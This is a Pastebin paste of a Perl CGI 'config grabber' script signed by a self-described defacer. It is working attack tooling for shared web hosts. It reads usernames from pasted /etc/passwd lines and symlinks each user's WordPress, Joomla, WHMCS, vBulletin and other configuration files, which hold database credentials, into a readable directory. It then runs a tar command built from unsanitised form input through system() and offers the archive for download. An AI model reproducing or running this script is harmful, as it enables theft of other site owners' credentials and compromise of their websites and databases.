Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -I/usr/local/bandmin
- print "Content-type: text/html\n\n";
- print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Language" content="en-us" />
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>kendri Config</title>
- <style type="text/css">
- .newStyle1 {
- font-family: Tahoma;
- font-size: x-small;
- font-weight: bold;
- color: #00FFFF;
- text-align: center;
- }
- </style>
- </head>
- ';
- sub lil{
- ($user) = @_;
- $msr = qx{pwd};
- $kola=$msr."/".$user;
- $kola=~s/\n//g;
- symlink('/home/'.$user.'/public_html/includes/configure.php',$kola.'-shop.txt');
- symlink('/home/'.$user.'/public_html/amember/config.inc.php',$kola.'-amember.txt');
- symlink('/home/'.$user.'/public_html/config.inc.php',$kola.'-amember2.txt');
- symlink('/home/'.$user.'/public_html/members/configuration.php',$kola.'-members.txt');
- symlink('/home/'.$user.'/public_html/config.php',$kola.'2.txt');
- symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'-forum.txt');
- symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'5.txt');
- symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'4.txt');
- symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'-wordpress.txt');
- symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'-wordpress-1.txt');
- symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'6.txt');
- symlink('/home/'.$user.'/public_html/include/db.php',$kola.'7.txt');
- symlink('/home/'.$user.'/public_html/connect.php',$kola.'8.txt');
- symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'9.txt');
- symlink('/home/'.$user.'/public_html/include/config.php',$kola.'12.txt');
- symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'-joomla.txt');
- symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'-vb.txt');
- symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'-includes-vb.txt');
- symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'-whm15.txt');
- symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.'-whmc16.txt');
- symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.'-whmcs.txt');
- symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'-support.txt');
- symlink('/home/'.$user.'/public_html/configuration.php',$kola.'1whmcs.txt');
- symlink('/home/'.$user.'/public_html/submitticket.php',$kola.'-whmcs2.txt');
- symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.'-clients.txt');
- symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.'-client.txt');
- symlink('/home/'.$user.'/public_html/clientes/configuration.php',$kola.'-clients.txt');
- symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.'-billing.txt');
- symlink('/home/'.$user.'/public_html/manage/configuration.php',$kola.'-billing.txt');
- symlink('/home/'.$user.'/public_html/my/configuration.php',$kola.'-billing.txt');
- symlink('/home/'.$user.'/public_html/myshop/configuration.php',$kola.'-billing.txt');
- }
- if ($ENV{'REQUEST_METHOD'} eq 'POST') {
- read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
- } else {
- $buffer = $ENV{'QUERY_STRING'};
- }
- @pairs = split(/&/, $buffer);
- foreach $pair (@pairs) {
- ($name, $value) = split(/=/, $pair);
- $name =~ tr/+/ /;
- $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
- $value =~ tr/+/ /;
- $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
- $FORM{$name} = $value;
- }
- if ($FORM{pass} eq ""){
- print '
- <body class="newStyle1" background="http://widewallpaperhd.com/wp-content/uploads/2014/10/backtrack_carbon_wallpapers.jpg">
- <link rel="SHORTCUT ICON" href="http://files.softicons.com/download/internet-cons/world-flags-orbs-icons-by-vathanx/png/256/Flag%20of%20Indonesia.png">
- <script src="http://snow-effect.googlecode.com/files/snow.js" type="text/javascript"></script>
- <embed src="https://www.youtube.com/v/41_R0E3mqNg&autoplay=1&loop=1" type="application/x-shockwave-flash" wmode="transparent" height="1" width="1">
- <b>kendri config script</b><br>
- <b><font color="#00FF00">[!]</font> Coded By kendri <font color="#00FF00">|</font> indonesia newbie defacer<span id="result_box" class="short_text" lang="en"><span style title>
- <font color="#00FF00">|</font></span></span> <a href="https://www.facebook.com/kendri.selamanya">
- <span style="text-decoration: none"><font color="#00FF00">Contact Me</font></span></a>
- <font color="#00FF00">[!]</font></b>
- <br>
- <br>
- <form method="post">
- <textarea name="pass" style="border:1px dotted #00FFFF; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#00FFFF" ></textarea><br />
- <p>
- <input name="tar" type="text" style="border:1px dotted #00FFFF; width: 212px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#00FFFF; " /><br />
- </p>
- <p>
- <input name="Submit1" type="submit" value="Get Config" style="border:1px dotted #00FFFF; width: 99; font-family:Tahoma; font-size:10pt; color:#00FFFF; text-transform:uppercase; height:23; background-color:#0C0C0C" /></p>
- </form>';
- }else{
- @lines =<$FORM{pass}>;
- $y = @lines;
- open (MYFILE, ">atom.mota");
- print MYFILE "tar -czf ".$FORM{tar}.".tar ";
- for ($ka=0;$ka<$y;$ka++){
- while(@lines[$ka] =~ m/(.*?):x:/g){
- &lil($1);
- print MYFILE $1.".txt ";
- for($kd=1;$kd<18;$kd++){
- print MYFILE $1.$kd.".txt ";
- }
- }
- }
- print'<body class="newStyle1" bgcolor="#000000">
- <body class="newStyle1" background="http://widewallpaperhd.com/wp-content/uploads/2014/10/backtrack_carbon_wallpapers.jpg">
- <link rel="SHORTCUT ICON" href="http://files.softicons.com/download/internet-cons/world-flags-orbs-icons-by-vathanx/png/256/Flag%20of%20Indonesia.png">
- <script src="http://snow-effect.googlecode.com/files/snow.js" type="text/javascript"></script>
- <embed src="https://www.youtube.com/v/41_R0E3mqNg&autoplay=1&loop=1" type="application/x-shockwave-flash" wmode="transparent" height="1" width="1">
- <p>Sukses Coy :D</p>
- <p> </p>';
- if($FORM{tar} ne ""){
- open(INFO, "atom.mota");
- @lines =<INFO> ;
- close(INFO);
- system(@lines);
- print'<p><a href="'.$FORM{tar}.'.tar"><font color="#00FF00">
- <span style="text-decoration: none">Click Here To Download Tar File</span></font></a></p>';
- }
- }
- print"
- </body>
- </html>";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement